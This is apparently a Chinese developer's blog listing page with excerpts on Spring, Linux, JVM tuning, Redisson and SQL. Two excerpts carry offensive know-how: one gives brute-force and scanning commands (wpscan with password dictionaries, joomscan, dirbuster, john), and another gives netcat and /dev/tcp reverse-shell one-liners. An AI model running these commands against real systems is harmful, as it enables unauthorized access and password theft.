- 博客(50)
- 资源 (3)
- 问答 (1)
- 收藏
- 关注
转载 spring事务传播行为
在Spring中,我们可以通过声明式事务,实现对数据库操作的事务管理。其中,在声明式事务时,有一个事务的属性为propagation,即事务的传播行为。今天,就来讨论该属性的作用。什么是事务的传播行为?首先,事务的传播行为,可以拆成两部分理解,即事务的传播,和事务的行为。指的是,当有两个或以上的方法同时声明为事务方法(事务方法:即加了事务管理的增删改方法)时,如果在一次程序执行过程中,这些事务方法彼此间相互调用,那么这些事务方法的事务,应该如何来进行管理?
2023-03-08 23:50:28
494
转载 Centos 6 DNS 配置 解决 Unknown host
当为YES时,如果使用了DNS设置, 或者启用了DHCP,或者 使用了那啥(Microsoft's RFC 1877 IPCP extensions with PPP),/etc/resolv.conf 文件将会被修改。果然发现这不是个持久的修改,重启后,会被覆盖。指定一个DNS服务器地址, 当 PEERDNS指令 设置为YES时,将被写入 /etc/resolv.conf 文件。测试了下, 如果只修改resolv.conf中的DNS, 重启系统后, 确实会被刷新为ifcfg-ethX中的配置。
2022-10-20 12:30:29
958
原创 网站扫描命令
#爆破网站用户密码wpscan --url 127.0.0.1 -U /root/Downloads/web_name.dic -P /root/Downloads/web_pass.dic#扫描信息joomscan --url 127.0.0.1#扫描网站目录dirbuster -u "127.0.0.1" -w /usr/share/dirb/wordlists/common.txt #密码爆破john hash.txt ...
2022-04-15 18:32:39
421
原创 shell反弹
客户机yum install ncnc参数-l 使用监听模式-v 显示执行过程-p 设置本地主机使用的通信端口示例nc -lvp 444目标机nc 127.0.0.1 444 -e/bin/bashbash -i>& /dev/tcp/127.0.0.1/444 0>&1
2022-04-14 15:26:11
131
原创 sql注入
![]https://img-blog.csdnimg.cn/e3dd5020146344388030c341f2df9229.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6Ieq6L2s55qE6L2u5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16)
2022-03-31 17:35:56
149
原创 liunx
```bashsu -root 用户切换useradd user01 -G group1 创建用户groupadd groupq 创建组id user01 查询用户passwd user01 设置密码sudo useradd user01 提权userdel user01 删除用户chmod u=r 1.txt 授权chmod u+r 1.txt 授权chmod -R u+r /mnt 授权文件夹chown user01.hr 1.txt 更改文件的主体用户...
2022-03-14 18:01:05
2174
原创 jvm调优
jps 查看java进程java -XX:+PrintFlagsFinal -version 查看JVM的所有参数java -XX:+PrintFlagsFinal -version |grep manageable 查看可以动态修改的参数jinfo -flag CMSWaitDuration=1900 38360 修改JVM参数jinfo -flags 9912 查看参数jstat -gc 11355 100 10 打印pid为11355JVM的状态,一共打印10次,每次间隔时间1s
2021-07-02 18:05:39
108
原创 liunx常用命令
su -root 用户切换useradd user01 -G group1 创建用户groupadd groupq 创建组id user01 查询用户passwd user01 设置密码sudo useradd user01 提权userdel user01 删除用户chmod u=r 1.txt 授权chmod u+r 1.txt 授权chmod -R u+r /mnt 授权文件夹chown user01.hr 1.txt 更改文件的主体用户ps aux
2021-06-24 11:17:42
101
转载 超简单使用redisson延迟队列做定时任务
超简单使用redisson延迟队列做定时任务王念博客 王念博客 发布于 02/17 14:10 字数 1305 阅读 1.7W 收藏 11 点赞 1 评论 25springredissonredisredisson-spring-boot-starterspring bootquartz精选30+云产品,助力企业轻松上云!>>>前言:在工作开发中很多需求都需要用到定时任务,但是市面上多半都是轮询或者固定时间执行的开源工具,我之前写过一次基于quartz的定时任务,前端和分布式
2020-07-22 15:19:03
2041
6
转载 基于Redisson的延时队列
推荐一款基于Redis的高可用延迟队列作者:小柒 发表于 2020-02-13 | 分类于 架构设计前言之前给大家推荐的几款延迟任务处理队列,对于一些要求比较高的场景是无法运用于生产环境的,一旦机器宕机或者应用重启会导致队列消息丢失,从而造成无法挽回的损失。今天给大家分享一款高可用延迟队列 Redisson。简介Redisson 在基于 NIO 的 Netty 框架上,充分利用了 Redis 键值数据库提供的一系列优势,在 Java 实用工具包中常用接口的基础上,为使用者提供了一系列具有
2020-07-21 18:00:13
949
原创 count 中使用if语句
SELECT b.tax_pch,COUNT(IF(b.tax_status IN(0,1,2),TRUE ,NULL))AS '总人数', COUNT(IF(b.tax_status IN (0,1),TRUE ,NULL))AS '未报人数', COUNT(IF(b.tax_status = 2,TRUE ,NULL))AS '已报人数', b.tax_model,b.tax_company, SUM(IF(b.tax_status IN(0,1,2),...
2020-06-09 12:02:32
829
转载 分布式锁
什么是分布式锁撸帝52019.02.13 23:05:45字数 1,797阅读 50,524学习完整课程请移步 互联网 Java 全栈工程师本节视频【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁1【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁2【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁3概述为了防止分布式系统中的多个进程之间相互干扰,我们需要一种分布式协调技术来对这些进程进行调度。而这个分布式协调技术的核心就
2020-06-06 11:02:40
169
转载 接口防止重复提交
http://pengl.com.cn/2017/09/26/%E4%BD%BF%E7%94%A8Redis%E8%AE%A1%E6%95%B0%E5%99%A8%E9%98%B2%E6%AD%A2%E5%B9%B6%E5%8F%91%E8%AF%B7%E6%B1%82/
2018-09-03 18:00:26
2104
原创 mysql 高版本向低版本导入,导入报错问题
找到低版本的my.ini 配置文件,在里面找到[mysqld],然后在下面加入max_allowed_packet=1024Mwait_timeout=288000interactive_timeout = 288000
2018-04-10 16:42:58
953
原创 delete 去除重复数据
具体业务,将一条数据加入时做校验,判断是否重复,重复删除删选条件 plan_info_id相等,assets_info_id相等 distribute_state='-1'DELETE m FROM `Fa_Stock_Plan_Detail` mWHERE EXISTS (SELECT sCode, nId FROM (SELECT t.`plan_info_id` AS
2018-03-14 15:42:02
2066
转载 jstl标签
一、JSTL标签介绍1、什么是JSTL? JSTL是apache对EL表达式的扩展(也就是说JSTL依赖EL),JSTL是标签语言!JSTL标签使用以来非常方便,它与JSP动作标签一样,只不过它不是JSP内置的标签,需要我们自己导包,以及指定标签库而已! 如果你使用MyEclipse开发JavaWeb,那么在把项目发布到Tomc
2017-12-05 11:21:23
161
转载 struts2的简单使用
在这里我要说一下在action中怎么向页面传值~在action中依然可以像以前在servlet里面一样,使用request、session、application向页面传送值,除此之外,action里面还有俩个独有的传值方式:ValueStack ActionContext一,先来说说这俩个独有的传值方式~1.ValueStack的特点(值栈):1.把一个
2017-12-04 17:46:44
266
转载 window查看使用cpu过高的线程
windows下揪出java程序占用cpu很高的线程 并找到问题代码 死循环线程代码我的一个java程序偶尔会出现cpu占用很高的情况一直不知道什么原因今天终于抽时间解决了系统是win2003jvisualvm 和 jconsole貌似都只能看到总共占用的cpu 看不到每个线程分别占用的cpu呢所以在windows
2017-12-01 17:03:26
10076
转载 java切割合并文件
package com.zhjy.function.storeHouse;import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFound
2017-11-29 11:01:15
500
原创 存储过程入门
存储过程和函数是在数据库中定义一些SQL语句的集合,然后直接调用这些存储过程和函数来执行已经定义好的SQL语句。存储过程和函数可以避免开发人员重复的编写相同的SQL语句。而且,存储过程和函数是在MySQL服务器中存储和执行的,可以减少客户端和服务器端的数据传输。一、存储过程1.1、基本语法CREATE PROCEDURE sp_name ([proc_parameter[,...]])
2017-10-26 10:18:50
526
原创 获取客户端的外网ip地址
document.write(returnCitySN["cip"] + ',' + returnCitySN["cname"])
2017-10-20 16:43:58
322
转载 java生成验证码
JAVA 验证码生成最近做了一下验证码的功能,网上找了一篇还不错,引用下:http://blog.youkuaiyun.com/ruixue0117/article/details/22829557这篇文章非常好,但是web和jsp里简单的代码那位大神没有补充,我补充下源码下载路径:http://download.youkuaiyun.com/detail/u010320675/9539190效果
2017-10-20 16:06:26
270
原创 tomcat配置https及证书导入
利用tomcat服务器配置https双向认证步骤1、为服务器生成证书进入控制台,切换到%JAVA_HOME%/bin目录,具体操作略。使用keytool为Tomcat生成证书,假定目标机器的域名是“localhost”,keystore文件想要存放在“D:\home\tomcat.keystore”,口令为“password”,使用如下命令生成:keytoo
2017-10-13 11:55:44
3307
2
原创 html2canvas截屏传入后台
--> /supervision/html2canvas-master/dist/html2canvas.js"> --%> /supervision/html2canvas-master/tests/assets/jquery-1.6.2.js"> --%> /supervision/html2canvas
2016-11-17 09:45:09
1691
翻译 java截图
package test;import java.awt.AWTException;import java.awt.Desktop;import java.awt.Dimension;import java.awt.Graphics;import java.awt.Image;import java.awt.Rectangle;import java.awt.Rob
2016-11-16 15:59:13
293
原创 短信发送试例
import com.zhjy.supervision.utility.SMSUtil;public class Test { public static void main(String[] args) throws Exception { new SMSUtil().sendSMS("13520335854sss","你好"); }}
2016-09-27 16:26:09
315
原创 kindeditor的N多Bug问题
本文只针对4.1.11在图片上传时,默认只返回两个状态,error,和url, 有时候需要从回掉函数中获取url,但是直接从afterUpload的回掉函数中获取是得不到的,需要在kindeditor-all.js中改一个地方将if (self.afterUpload) { //self.afterUpload.call(self, url, data, name);
2016-09-13 19:58:10
1114
转载 js判断浏览器版本
$(function () { var Sys = {}; var ua = navigator.userAgent.toLowerCase(); var s; (s = ua.match(/rv:([\d.]+)\) like gecko/)) ? Sys.ie = s[1] : (s = ua.match(/msie ([\d.]+)/)) ? Sys
2016-09-01 09:59:20
206
转载 js文本域限制
> html xmlns="http://www.w3.org/1999/xhtml"> head> style type="text/css"> #num{ color:red; } style> script language="javascript" src="jquery-1.7.1.min.js">script> meta http-equiv="Content-T
2016-08-22 17:37:10
534
原创 关于url传参特殊字符的处理办法
在url中传递特殊字符时会出现的问题有,乱码问题,这个问题可以用三个函数解决,这个不是啥大事,如果有特殊字符要进行转义,可用正则表达式 //将特殊字符转义 text=text.replace(/\%/g,"%25"); text=text.replace(/\#/g,"%23"); text=text.replace(/\&/g,"%
2016-08-11 15:34:05
335
原创 关于post文件上传不能返回路径问题的解决方案
一般文件上采用表单提交,设置form的两个属性 method="post" enctype=”multipart/form-data”如: 但附件上传要返回附件的上传地址由于post提交为同步提交,所以不能回掉附件的URL地址,有人可能会想到ajaxs,但是ajaxs不能设置enctype属性值,所以不能进行附件
2016-08-11 15:20:24
1241
原创 黑马程序员——JAVA基础---反射
——Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ——- java的反射机制: 我们都知道,一个java类中,有成员变量、成员方法、构造方法等等,反射机制,就是动态的获取这些类中的信息,并动态的调用对象的方法。通常只有要设计框架的过程中,才会使用java反射相关的api,但是了解java反射机制的基本原理与基本方法,可以帮忙我们在日后对框架的学习与应用提
2015-08-03 11:13:14
402
最近发现网站的cpu 和 带宽占用率过高 ,不知道什么原因,求助
2017-12-01
TA创建的收藏夹 TA关注的收藏夹
TA关注的人